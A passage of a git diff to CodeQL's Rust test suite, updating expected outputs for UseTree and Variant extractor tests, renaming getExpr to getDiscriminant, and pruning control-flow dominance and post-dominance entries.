+| gen_use_tree.rs:8:34:8:40 | HashMap | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no |
+| gen_use_tree.rs:8:43:8:49 | HashSet | isGlob: | no | hasPath: | yes | hasRename: | no | hasUseTreeList: | no |
diff --git a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getPath.expected b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getPath.expected
index 6560c5fb4565..b6164b653422 100644
--- a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getPath.expected
+++ b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getPath.expected
@@ -1,7 +1,7 @@
-| gen_use_tree.rs:5:9:5:33 | UseTree | gen_use_tree.rs:5:9:5:33 | ...::HashMap |
-| gen_use_tree.rs:6:9:6:27 | UseTree | gen_use_tree.rs:6:9:6:24 | ...::collections |
-| gen_use_tree.rs:7:9:7:46 | UseTree | gen_use_tree.rs:7:9:7:33 | ...::HashMap |
-| gen_use_tree.rs:8:9:8:50 | UseTree | gen_use_tree.rs:8:9:8:24 | ...::collections |
-| gen_use_tree.rs:8:28:8:31 | UseTree | gen_use_tree.rs:8:28:8:31 | self |
-| gen_use_tree.rs:8:34:8:40 | UseTree | gen_use_tree.rs:8:34:8:40 | HashMap |
-| gen_use_tree.rs:8:43:8:49 | UseTree | gen_use_tree.rs:8:43:8:49 | HashSet |
+| gen_use_tree.rs:5:9:5:33 | ...::HashMap | gen_use_tree.rs:5:9:5:33 | ...::HashMap |
+| gen_use_tree.rs:6:9:6:27 | ...::collections::* | gen_use_tree.rs:6:9:6:24 | ...::collections |
+| gen_use_tree.rs:7:9:7:46 | ...::HashMap as MyHashMap | gen_use_tree.rs:7:9:7:33 | ...::HashMap |
+| gen_use_tree.rs:8:9:8:50 | ...::collections::{...} | gen_use_tree.rs:8:9:8:24 | ...::collections |
+| gen_use_tree.rs:8:28:8:31 | self | gen_use_tree.rs:8:28:8:31 | self |
+| gen_use_tree.rs:8:34:8:40 | HashMap | gen_use_tree.rs:8:34:8:40 | HashMap |
+| gen_use_tree.rs:8:43:8:49 | HashSet | gen_use_tree.rs:8:43:8:49 | HashSet |
diff --git a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getRename.expected b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getRename.expected
index 0ccdbacfc492..77c4b31a86a9 100644
--- a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getRename.expected
+++ b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getRename.expected
@@ -1 +1 @@
-| gen_use_tree.rs:7:9:7:46 | UseTree | gen_use_tree.rs:7:35:7:46 | Rename |
+| gen_use_tree.rs:7:9:7:46 | ...::HashMap as MyHashMap | gen_use_tree.rs:7:35:7:46 | Rename |
diff --git a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.expected b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.expected
index f5bb77ce720e..547fb0bd37b9 100644
--- a/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.expected
+++ b/rust/ql/test/extractor-tests/generated/UseTree/UseTree_getUseTreeList.expected
@@ -1 +1 @@
-| gen_use_tree.rs:8:9:8:50 | UseTree | gen_use_tree.rs:8:27:8:50 | UseTreeList |
+| gen_use_tree.rs:8:9:8:50 | ...::collections::{...} | gen_use_tree.rs:8:27:8:50 | UseTreeList |
diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant.ql
index 92ebcbe55eed..a21c0509978c 100644
--- a/rust/ql/test/extractor-tests/generated/Variant/Variant.ql
+++ b/rust/ql/test/extractor-tests/generated/Variant/Variant.ql
@@ -4,7 +4,7 @@ import TestUtils
 
 from
   Variant x, string hasExtendedCanonicalPath, string hasCrateOrigin, int getNumberOfAttrs,
-  string hasExpr, string hasFieldList, string hasName, string hasVisibility
+  string hasDiscriminant, string hasFieldList, string hasName, string hasVisibility
 where
   toBeTested(x) and
   not x.isUnknown() and
@@ -15,10 +15,10 @@ where
   ) and
   (if x.hasCrateOrigin() then hasCrateOrigin = "yes" else hasCrateOrigin = "no") and
   getNumberOfAttrs = x.getNumberOfAttrs() and
-  (if x.hasExpr() then hasExpr = "yes" else hasExpr = "no") and
+  (if x.hasDiscriminant() then hasDiscriminant = "yes" else hasDiscriminant = "no") and
   (if x.hasFieldList() then hasFieldList = "yes" else hasFieldList = "no") and
   (if x.hasName() then hasName = "yes" else hasName = "no") and
   if x.hasVisibility() then hasVisibility = "yes" else hasVisibility = "no"
 select x, "hasExtendedCanonicalPath:", hasExtendedCanonicalPath, "hasCrateOrigin:", hasCrateOrigin,
-  "getNumberOfAttrs:", getNumberOfAttrs, "hasExpr:", hasExpr, "hasFieldList:", hasFieldList,
-  "hasName:", hasName, "hasVisibility:", hasVisibility
+  "getNumberOfAttrs:", getNumberOfAttrs, "hasDiscriminant:", hasDiscriminant, "hasFieldList:",
+  hasFieldList, "hasName:", hasName, "hasVisibility:", hasVisibility
diff --git a/rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getSpread.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.expected
similarity index 100%
rename from rust/ql/test/extractor-tests/generated/RecordExprFieldList/RecordExprFieldList_getSpread.expected
rename to rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.expected
diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.ql
new file mode 100644
index 000000000000..cde11c30887f
--- /dev/null
+++ b/rust/ql/test/extractor-tests/generated/Variant/Variant_getDiscriminant.ql
@@ -0,0 +1,7 @@
+// generated by codegen, do not edit
+import codeql.rust.elements
+import TestUtils
+
+from Variant x
+where toBeTested(x) and not x.isUnknown()
+select x, x.getDiscriminant()
diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.expected b/rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.expected
deleted file mode 100644
index e69de29bb2d1..000000000000
diff --git a/rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.ql b/rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.ql
deleted file mode 100644
index 3836c782dc96..000000000000
--- a/rust/ql/test/extractor-tests/generated/Variant/Variant_getExpr.ql
+++ /dev/null
@@ -1,7 +0,0 @@
-// generated by codegen, do not edit
-import codeql.rust.elements
-import TestUtils
-
-from Variant x
-where toBeTested(x) and not x.isUnknown()
-select x, x.getExpr()
diff --git a/rust/ql/test/extractor-tests/utf8/ast.expected b/rust/ql/test/extractor-tests/utf8/ast.expected
index 14b96482021c..58f926364c04 100644
--- a/rust/ql/test/extractor-tests/utf8/ast.expected
+++ b/rust/ql/test/extractor-tests/utf8/ast.expected
@@ -4,7 +4,7 @@
 | utf8_identifiers.rs:1:1:4:6 | fn foo |
 | utf8_identifiers.rs:1:1:12:2 | SourceFile |
 | utf8_identifiers.rs:1:4:1:6 | foo |
-| utf8_identifiers.rs:1:7:4:1 | GenericParamList |
+| utf8_identifiers.rs:1:7:4:1 | <...> |
 | utf8_identifiers.rs:2:5:2:6 | ''\u03b2 |
 | utf8_identifiers.rs:2:5:2:6 | LifetimeParam |
 | utf8_identifiers.rs:3:5:3:5 | \u03b3 |
@@ -14,9 +14,9 @@
 | utf8_identifiers.rs:4:5:4:6 | { ... } |
 | utf8_identifiers.rs:6:1:8:1 | struct X |
 | utf8_identifiers.rs:6:8:6:8 | X |
-| utf8_identifiers.rs:6:10:8:1 | RecordFieldList |
+| utf8_identifiers.rs:6:10:8:1 | StructFieldList |
 | utf8_identifiers.rs:7:5:7:5 | \u03b4 |
-| utf8_identifiers.rs:7:5:7:13 | RecordField |
+| utf8_identifiers.rs:7:5:7:13 | StructField |
 | utf8_identifiers.rs:7:9:7:13 | usize |
 | utf8_identifiers.rs:7:9:7:13 | usize |
 | utf8_identifiers.rs:7:9:7:13 | usize |
diff --git a/rust/ql/test/extractor-tests/utf8/ast.ql b/rust/ql/test/extractor-tests/utf8/ast.ql
index 420f7e94eb9a..8e484aedad9b 100644
--- a/rust/ql/test/extractor-tests/utf8/ast.ql
+++ b/rust/ql/test/extractor-tests/utf8/ast.ql
@@ -1,3 +1,4 @@
 import codeql.rust.elements
+import TestUtils
 
-select any(AstNode n)
+select any(AstNode n | toBeTested(n))
diff --git a/rust/ql/test/library-tests/controlflow-unstable/Cfg.expected b/rust/ql/test/library-tests/controlflow-unstable/Cfg.expected
index 889fe5f5372e..11e23459648a 100644
--- a/rust/ql/test/library-tests/controlflow-unstable/Cfg.expected
+++ b/rust/ql/test/library-tests/controlflow-unstable/Cfg.expected
@@ -19,7 +19,6 @@ edges
 | test.rs:6:17:6:31 | let ... = b | test.rs:6:31:6:31 | b |  |
 | test.rs:6:21:6:27 | Some(...) | test.rs:6:12:6:31 | [boolean(false)] ... && ... | no-match |
 | test.rs:6:21:6:27 | Some(...) | test.rs:6:26:6:26 | d | match |
-| test.rs:6:26:6:26 | d | test.rs:6:12:6:31 | [boolean(false)] ... && ... | no-match |
 | test.rs:6:26:6:26 | d | test.rs:6:12:6:31 | [boolean(true)] ... && ... | match |
 | test.rs:6:26:6:26 | d | test.rs:6:26:6:26 | d |  |
 | test.rs:6:31:6:31 | b | test.rs:6:21:6:27 | Some(...) |  |
@@ -47,7 +46,6 @@ edges
 | test.rs:14:12:15:16 | [boolean(false)] ... && ... | test.rs:19:13:19:17 | false | false |
 | test.rs:14:12:15:16 | [boolean(true)] ... && ... | test.rs:17:13:17:13 | d | true |
 | test.rs:14:17:14:25 | let ... = b | test.rs:14:25:14:25 | b |  |
-| test.rs:14:21:14:21 | d | test.rs:14:12:14:25 | [boolean(false)] ... && ... | no-match |
 | test.rs:14:21:14:21 | d | test.rs:14:12:14:25 | [boolean(true)] ... && ... | match |
 | test.rs:14:21:14:21 | d | test.rs:14:21:14:21 | d |  |
 | test.rs:14:25:14:25 | b | test.rs:14:21:14:21 | d |  |
diff --git a/rust/ql/test/library-tests/controlflow/BasicBlocks.expected b/rust/ql/test/library-tests/controlflow/BasicBlocks.expected
index 5fc13bcc9978..8de7e7066cd8 100644
--- a/rust/ql/test/library-tests/controlflow/BasicBlocks.expected
+++ b/rust/ql/test/library-tests/controlflow/BasicBlocks.expected
@@ -121,23 +121,17 @@ dominates
 | test.rs:97:5:104:5 | enter fn test_while_let | test.rs:99:15:99:39 | let ... = ... |
 | test.rs:97:5:104:5 | enter fn test_while_let | test.rs:99:24:99:24 | x |
 | test.rs:97:5:104:5 | enter fn test_while_let | test.rs:100:13:102:13 | if ... {...} |
-| test.rs:97:5:104:5 | enter fn test_while_let | test.rs:100:17:100:17 | x |
 | test.rs:97:5:104:5 | enter fn test_while_let | test.rs:101:17:101:22 | ExprStmt |
 | test.rs:99:9:103:9 | while ... { ... } | test.rs:99:9:103:9 | while ... { ... } |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:99:9:103:9 | while ... { ... } |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:99:15:99:39 | let ... = ... |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:99:24:99:24 | x |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:100:13:102:13 | if ... {...} |
-| test.rs:99:15:99:39 | let ... = ... | test.rs:100:17:100:17 | x |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:101:17:101:22 | ExprStmt |
 | test.rs:99:24:99:24 | x | test.rs:99:24:99:24 | x |
 | test.rs:99:24:99:24 | x | test.rs:100:13:102:13 | if ... {...} |
-| test.rs:99:24:99:24 | x | test.rs:100:17:100:17 | x |
 | test.rs:99:24:99:24 | x | test.rs:101:17:101:22 | ExprStmt |
 | test.rs:100:13:102:13 | if ... {...} | test.rs:100:13:102:13 | if ... {...} |
-| test.rs:100:17:100:17 | x | test.rs:100:13:102:13 | if ... {...} |
-| test.rs:100:17:100:17 | x | test.rs:100:17:100:17 | x |
-| test.rs:100:17:100:17 | x | test.rs:101:17:101:22 | ExprStmt |
 | test.rs:101:17:101:22 | ExprStmt | test.rs:101:17:101:22 | ExprStmt |
 | test.rs:106:5:113:5 | enter fn test_for | test.rs:106:5:113:5 | enter fn test_for |
 | test.rs:106:5:113:5 | enter fn test_for | test.rs:107:9:112:9 | for ... in ... { ... } |
@@ -174,23 +168,17 @@ dominates
 | test.rs:145:5:151:5 | enter fn test_if_let_else | test.rs:145:5:151:5 | enter fn test_if_let_else |
 | test.rs:145:5:151:5 | enter fn test_if_let_else | test.rs:146:9:150:9 | if ... {...} else {...} |
 | test.rs:145:5:151:5 | enter fn test_if_let_else | test.rs:146:21:146:21 | n |
-| test.rs:145:5:151:5 | enter fn test_if_let_else | test.rs:147:13:147:13 | n |
 | test.rs:145:5:151:5 | enter fn test_if_let_else | test.rs:149:13:149:13 | 0 |
 | test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:146:9:150:9 | if ... {...} else {...} |
 | test.rs:146:21:146:21 | n | test.rs:146:21:146:21 | n |
-| test.rs:146:21:146:21 | n | test.rs:147:13:147:13 | n |
-| test.rs:147:13:147:13 | n | test.rs:147:13:147:13 | n |
 | test.rs:149:13:149:13 | 0 | test.rs:149:13:149:13 | 0 |
 | test.rs:153:5:158:5 | enter fn test_if_let | test.rs:153:5:158:5 | enter fn test_if_let |
 | test.rs:153:5:158:5 | enter fn test_if_let | test.rs:153:5:158:5 | exit fn test_if_let (normal) |
 | test.rs:153:5:158:5 | enter fn test_if_let | test.rs:154:9:156:9 | if ... {...} |
 | test.rs:153:5:158:5 | enter fn test_if_let | test.rs:154:21:154:21 | n |
-| test.rs:153:5:158:5 | enter fn test_if_let | test.rs:155:13:155:21 | ExprStmt |
 | test.rs:153:5:158:5 | exit fn test_if_let (normal) | test.rs:153:5:158:5 | exit fn test_if_let (normal) |
 | test.rs:154:9:156:9 | if ... {...} | test.rs:154:9:156:9 | if ... {...} |
 | test.rs:154:21:154:21 | n | test.rs:154:21:154:21 | n |
-| test.rs:154:21:154:21 | n | test.rs:155:13:155:21 | ExprStmt |
-| test.rs:155:13:155:21 | ExprStmt | test.rs:155:13:155:21 | ExprStmt |
 | test.rs:160:5:166:5 | enter fn test_nested_if | test.rs:160:5:166:5 | enter fn test_nested_if |
 | test.rs:160:5:166:5 | enter fn test_nested_if | test.rs:161:9:165:9 | if ... {...} else {...} |
 | test.rs:160:5:166:5 | enter fn test_nested_if | test.rs:161:13:161:48 | [boolean(false)] if ... {...} else {...} |
@@ -518,26 +506,18 @@ dominates
 | test.rs:326:5:332:5 | enter fn test_match | test.rs:326:5:332:5 | enter fn test_match |
 | test.rs:326:5:332:5 | enter fn test_match | test.rs:327:9:331:9 | match maybe_digit { ... } |
 | test.rs:326:5:332:5 | enter fn test_match | test.rs:328:26:328:26 | x |
-| test.rs:326:5:332:5 | enter fn test_match | test.rs:328:32:328:32 | x |
 | test.rs:326:5:332:5 | enter fn test_match | test.rs:328:42:328:42 | x |
 | test.rs:326:5:332:5 | enter fn test_match | test.rs:329:13:329:27 | ...::Some(...) |
 | test.rs:326:5:332:5 | enter fn test_match | test.rs:329:26:329:26 | x |
-| test.rs:326:5:332:5 | enter fn test_match | test.rs:329:32:329:32 | x |
 | test.rs:326:5:332:5 | enter fn test_match | test.rs:330:13:330:24 | ...::None |
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:327:9:331:9 | match maybe_digit { ... } |
 | test.rs:328:26:328:26 | x | test.rs:328:26:328:26 | x |
-| test.rs:328:26:328:26 | x | test.rs:328:32:328:32 | x |
 | test.rs:328:26:328:26 | x | test.rs:328:42:328:42 | x |
-| test.rs:328:32:328:32 | x | test.rs:328:32:328:32 | x |
-| test.rs:328:32:328:32 | x | test.rs:328:42:328:42 | x |
 | test.rs:328:42:328:42 | x | test.rs:328:42:328:42 | x |
 | test.rs:329:13:329:27 | ...::Some(...) | test.rs:329:13:329:27 | ...::Some(...) |
 | test.rs:329:13:329:27 | ...::Some(...) | test.rs:329:26:329:26 | x |
-| test.rs:329:13:329:27 | ...::Some(...) | test.rs:329:32:329:32 | x |
 | test.rs:329:13:329:27 | ...::Some(...) | test.rs:330:13:330:24 | ...::None |
 | test.rs:329:26:329:26 | x | test.rs:329:26:329:26 | x |
-| test.rs:329:26:329:26 | x | test.rs:329:32:329:32 | x |
-| test.rs:329:32:329:32 | x | test.rs:329:32:329:32 | x |
 | test.rs:330:13:330:24 | ...::None | test.rs:330:13:330:24 | ...::None |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) |
@@ -545,7 +525,6 @@ dominates
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:336:13:336:21 | ExprStmt |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:338:13:338:23 | maybe_digit |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:340:26:340:26 | x |
-| test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:340:32:340:32 | x |
 | test.rs:334:5:343:5 | enter fn test_match_with_return_in_scrutinee | test.rs:341:13:341:24 | ...::None |
 | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) | test.rs:334:5:343:5 | exit fn test_match_with_return_in_scrutinee (normal) |
 | test.rs:335:9:342:9 | match ... { ... } | test.rs:335:9:342:9 | match ... { ... } |
@@ -553,18 +532,14 @@ dominates
 | test.rs:338:13:338:23 | maybe_digit | test.rs:335:9:342:9 | match ... { ... } |
 | test.rs:338:13:338:23 | maybe_digit | test.rs:338:13:338:23 | maybe_digit |
 | test.rs:338:13:338:23 | maybe_digit | test.rs:340:26:340:26 | x |
-| test.rs:338:13:338:23 | maybe_digit | test.rs:340:32:340:32 | x |
 | test.rs:338:13:338:23 | maybe_digit | test.rs:341:13:341:24 | ...::None |
 | test.rs:340:26:340:26 | x | test.rs:340:26:340:26 | x |
-| test.rs:340:26:340:26 | x | test.rs:340:32:340:32 | x |
-| test.rs:340:32:340:32 | x | test.rs:340:32:340:32 | x |
 | test.rs:341:13:341:24 | ...::None | test.rs:341:13:341:24 | ...::None |
 | test.rs:345:5:350:5 | enter fn test_match_and | test.rs:345:5:350:5 | enter fn test_match_and |
 | test.rs:345:5:350:5 | enter fn test_match_and | test.rs:346:9:349:18 | ... && ... |
 | test.rs:345:5:350:5 | enter fn test_match_and | test.rs:346:10:349:9 | [boolean(false)] match r { ... } |
 | test.rs:345:5:350:5 | enter fn test_match_and | test.rs:346:10:349:9 | [boolean(true)] match r { ... } |
 | test.rs:345:5:350:5 | enter fn test_match_and | test.rs:347:18:347:18 | a |
-| test.rs:345:5:350:5 | enter fn test_match_and | test.rs:347:24:347:24 | a |
 | test.rs:345:5:350:5 | enter fn test_match_and | test.rs:348:13:348:13 | _ |
 | test.rs:345:5:350:5 | enter fn test_match_and | test.rs:349:15:349:18 | cond |
 | test.rs:346:9:349:18 | ... && ... | test.rs:346:9:349:18 | ... && ... |
@@ -573,40 +548,27 @@ dominates
 | test.rs:346:10:349:9 | [boolean(true)] match r { ... } | test.rs:349:15:349:18 | cond |
 | test.rs:347:18:347:18 | a | test.rs:346:10:349:9 | [boolean(true)] match r { ... } |
 | test.rs:347:18:347:18 | a | test.rs:347:18:347:18 | a |
-| test.rs:347:18:347:18 | a | test.rs:347:24:347:24 | a |
 | test.rs:347:18:347:18 | a | test.rs:349:15:349:18 | cond |
-| test.rs:347:24:347:24 | a | test.rs:346:10:349:9 | [boolean(true)] match r { ... } |
-| test.rs:347:24:347:24 | a | test.rs:347:24:347:24 | a |
-| test.rs:347:24:347:24 | a | test.rs:349:15:349:18 | cond |
 | test.rs:348:13:348:13 | _ | test.rs:348:13:348:13 | _ |
 | test.rs:349:15:349:18 | cond | test.rs:349:15:349:18 | cond |
 | test.rs:352:5:357:5 | enter fn test_match_with_no_arms | test.rs:352:5:357:5 | enter fn test_match_with_no_arms |
 | test.rs:352:5:357:5 | enter fn test_match_with_no_arms | test.rs:353:9:356:9 | match r { ... } |
 | test.rs:352:5:357:5 | enter fn test_match_with_no_arms | test.rs:354:16:354:20 | value |
-| test.rs:352:5:357:5 | enter fn test_match_with_no_arms | test.rs:354:26:354:30 | value |
 | test.rs:352:5:357:5 | enter fn test_match_with_no_arms | test.rs:355:13:355:22 | Err(...) |
 | test.rs:353:9:356:9 | match r { ... } | test.rs:353:9:356:9 | match r { ... } |
 | test.rs:354:16:354:20 | value | test.rs:354:16:354:20 | value |
-| test.rs:354:16:354:20 | value | test.rs:354:26:354:30 | value |
-| test.rs:354:26:354:30 | value | test.rs:354:26:354:30 | value |
 | test.rs:355:13:355:22 | Err(...) | test.rs:355:13:355:22 | Err(...) |
 | test.rs:362:5:365:5 | enter fn test_let_match | test.rs:362:5:365:5 | enter fn test_let_match |
 | test.rs:362:5:365:5 | enter fn test_let_match | test.rs:363:18:363:18 | n |
 | test.rs:362:5:365:5 | enter fn test_let_match | test.rs:363:39:363:53 | MacroStmts |
-| test.rs:362:5:365:5 | enter fn test_let_match | test.rs:364:9:364:9 | n |
 | test.rs:363:18:363:18 | n | test.rs:363:18:363:18 | n |
-| test.rs:363:18:363:18 | n | test.rs:364:9:364:9 | n |
 | test.rs:363:39:363:53 | MacroStmts | test.rs:363:39:363:53 | MacroStmts |
-| test.rs:364:9:364:9 | n | test.rs:364:9:364:9 | n |
 | test.rs:367:5:373:5 | enter fn test_let_with_return | test.rs:367:5:373:5 | enter fn test_let_with_return |
 | test.rs:367:5:373:5 | enter fn test_let_with_return | test.rs:367:5:373:5 | exit fn test_let_with_return (normal) |
 | test.rs:367:5:373:5 | enter fn test_let_with_return | test.rs:369:18:369:20 | ret |
-| test.rs:367:5:373:5 | enter fn test_let_with_return | test.rs:369:26:369:28 | ret |
 | test.rs:367:5:373:5 | enter fn test_let_with_return | test.rs:370:13:370:16 | None |
 | test.rs:367:5:373:5 | exit fn test_let_with_return (normal) | test.rs:367:5:373:5 | exit fn test_let_with_return (normal) |
 | test.rs:369:18:369:20 | ret | test.rs:369:18:369:20 | ret |
-| test.rs:369:18:369:20 | ret | test.rs:369:26:369:28 | ret |
-| test.rs:369:26:369:28 | ret | test.rs:369:26:369:28 | ret |
 | test.rs:370:13:370:16 | None | test.rs:370:13:370:16 | None |
 | test.rs:378:5:381:5 | enter fn empty_tuple_pattern | test.rs:378:5:381:5 | enter fn empty_tuple_pattern |
 | test.rs:387:5:391:5 | enter fn empty_struct_pattern | test.rs:387:5:391:5 | enter fn empty_struct_pattern |
@@ -729,12 +691,9 @@ dominates
 | test.rs:456:13:456:13 | _ | test.rs:456:13:456:13 | _ |
 | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code |
 | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:461:9:464:9 | match pair { ... } |
-| test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:462:18:462:34 | MyStruct {...} |
 | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:462:32:462:32 | _ |
 | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:463:13:463:13 | _ |
 | test.rs:461:9:464:9 | match pair { ... } | test.rs:461:9:464:9 | match pair { ... } |
-| test.rs:462:18:462:34 | MyStruct {...} | test.rs:462:18:462:34 | MyStruct {...} |
-| test.rs:462:18:462:34 | MyStruct {...} | test.rs:462:32:462:32 | _ |
 | test.rs:462:32:462:32 | _ | test.rs:462:32:462:32 | _ |
 | test.rs:463:13:463:13 | _ | test.rs:463:13:463:13 | _ |
 | test.rs:475:5:481:5 | enter fn enum_pattern | test.rs:475:5:481:5 | enter fn enum_pattern |
@@ -805,12 +764,9 @@ dominates
 | test.rs:584:1:592:1 | enter fn labelled_block2 | test.rs:585:18:591:5 | 'block: { ... } |
 | test.rs:584:1:592:1 | enter fn labelled_block2 | test.rs:587:18:587:18 | y |
 | test.rs:584:1:592:1 | enter fn labelled_block2 | test.rs:588:13:588:27 | ExprStmt |
-| test.rs:584:1:592:1 | enter fn labelled_block2 | test.rs:590:9:590:9 | 0 |
 | test.rs:585:18:591:5 | 'block: { ... } | test.rs:585:18:591:5 | 'block: { ... } |
 | test.rs:587:18:587:18 | y | test.rs:587:18:587:18 | y |
-| test.rs:587:18:587:18 | y | test.rs:590:9:590:9 | 0 |
 | test.rs:588:13:588:27 | ExprStmt | test.rs:588:13:588:27 | ExprStmt |
-| test.rs:590:9:590:9 | 0 | test.rs:590:9:590:9 | 0 |
 | test.rs:594:1:600:1 | enter fn test_nested_function2 | test.rs:594:1:600:1 | enter fn test_nested_function2 |
 | test.rs:596:5:598:5 | enter fn nested | test.rs:596:5:598:5 | enter fn nested |
 | test.rs:611:5:613:5 | enter fn new | test.rs:611:5:613:5 | enter fn new |
@@ -903,14 +859,12 @@ postDominance
 | test.rs:99:9:103:9 | while ... { ... } | test.rs:99:15:99:39 | let ... = ... |
 | test.rs:99:9:103:9 | while ... { ... } | test.rs:99:24:99:24 | x |
 | test.rs:99:9:103:9 | while ... { ... } | test.rs:100:13:102:13 | if ... {...} |
-| test.rs:99:9:103:9 | while ... { ... } | test.rs:100:17:100:17 | x |
 | test.rs:99:9:103:9 | while ... { ... } | test.rs:101:17:101:22 | ExprStmt |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:97:5:104:5 | enter fn test_while_let |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:99:15:99:39 | let ... = ... |
 | test.rs:99:15:99:39 | let ... = ... | test.rs:100:13:102:13 | if ... {...} |
 | test.rs:99:24:99:24 | x | test.rs:99:24:99:24 | x |
 | test.rs:100:13:102:13 | if ... {...} | test.rs:100:13:102:13 | if ... {...} |
-| test.rs:100:17:100:17 | x | test.rs:100:17:100:17 | x |
 | test.rs:101:17:101:22 | ExprStmt | test.rs:101:17:101:22 | ExprStmt |
 | test.rs:106:5:113:5 | enter fn test_for | test.rs:106:5:113:5 | enter fn test_for |
 | test.rs:107:9:112:9 | for ... in ... { ... } | test.rs:106:5:113:5 | enter fn test_for |
@@ -944,20 +898,16 @@ postDominance
 | test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:145:5:151:5 | enter fn test_if_let_else |
 | test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:146:9:150:9 | if ... {...} else {...} |
 | test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:146:21:146:21 | n |
-| test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:147:13:147:13 | n |
 | test.rs:146:9:150:9 | if ... {...} else {...} | test.rs:149:13:149:13 | 0 |
 | test.rs:146:21:146:21 | n | test.rs:146:21:146:21 | n |
-| test.rs:147:13:147:13 | n | test.rs:147:13:147:13 | n |
 | test.rs:149:13:149:13 | 0 | test.rs:149:13:149:13 | 0 |
 | test.rs:153:5:158:5 | enter fn test_if_let | test.rs:153:5:158:5 | enter fn test_if_let |
 | test.rs:153:5:158:5 | exit fn test_if_let (normal) | test.rs:153:5:158:5 | enter fn test_if_let |
 | test.rs:153:5:158:5 | exit fn test_if_let (normal) | test.rs:153:5:158:5 | exit fn test_if_let (normal) |
 | test.rs:153:5:158:5 | exit fn test_if_let (normal) | test.rs:154:9:156:9 | if ... {...} |
 | test.rs:153:5:158:5 | exit fn test_if_let (normal) | test.rs:154:21:154:21 | n |
-| test.rs:153:5:158:5 | exit fn test_if_let (normal) | test.rs:155:13:155:21 | ExprStmt |
 | test.rs:154:9:156:9 | if ... {...} | test.rs:154:9:156:9 | if ... {...} |
 | test.rs:154:21:154:21 | n | test.rs:154:21:154:21 | n |
-| test.rs:155:13:155:21 | ExprStmt | test.rs:155:13:155:21 | ExprStmt |
 | test.rs:160:5:166:5 | enter fn test_nested_if | test.rs:160:5:166:5 | enter fn test_nested_if |
 | test.rs:161:9:165:9 | if ... {...} else {...} | test.rs:160:5:166:5 | enter fn test_nested_if |
 | test.rs:161:9:165:9 | if ... {...} else {...} | test.rs:161:9:165:9 | if ... {...} else {...} |
@@ -1258,18 +1208,14 @@ postDominance
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:326:5:332:5 | enter fn test_match |
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:327:9:331:9 | match maybe_digit { ... } |
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:328:26:328:26 | x |
-| test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:328:32:328:32 | x |
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:328:42:328:42 | x |
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:329:13:329:27 | ...::Some(...) |
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:329:26:329:26 | x |
-| test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:329:32:329:32 | x |
 | test.rs:327:9:331:9 | match maybe_digit { ... } | test.rs:330:13:330:24 | ...::None |
 | test.rs:328:26:328:26 | x | test.rs:328:26:328:26 | x |
-| test.rs:328:32:328:32 | x | test.rs:328:32:328:32 | x |
 | test.rs:328:42:328:42 | x | test.rs:328:42:328:42 | x |
 | test.rs:329:13:329:27 | ...::Some(...) | test.rs:329:13:329:27 | ...::Some(...) |
 | test.rs:329:26:329:26 | x | test.rs:329:26:329:26 | x |
-| test.rs:329:32:329:32 | x | test.rs:329:32:329:32 | x |
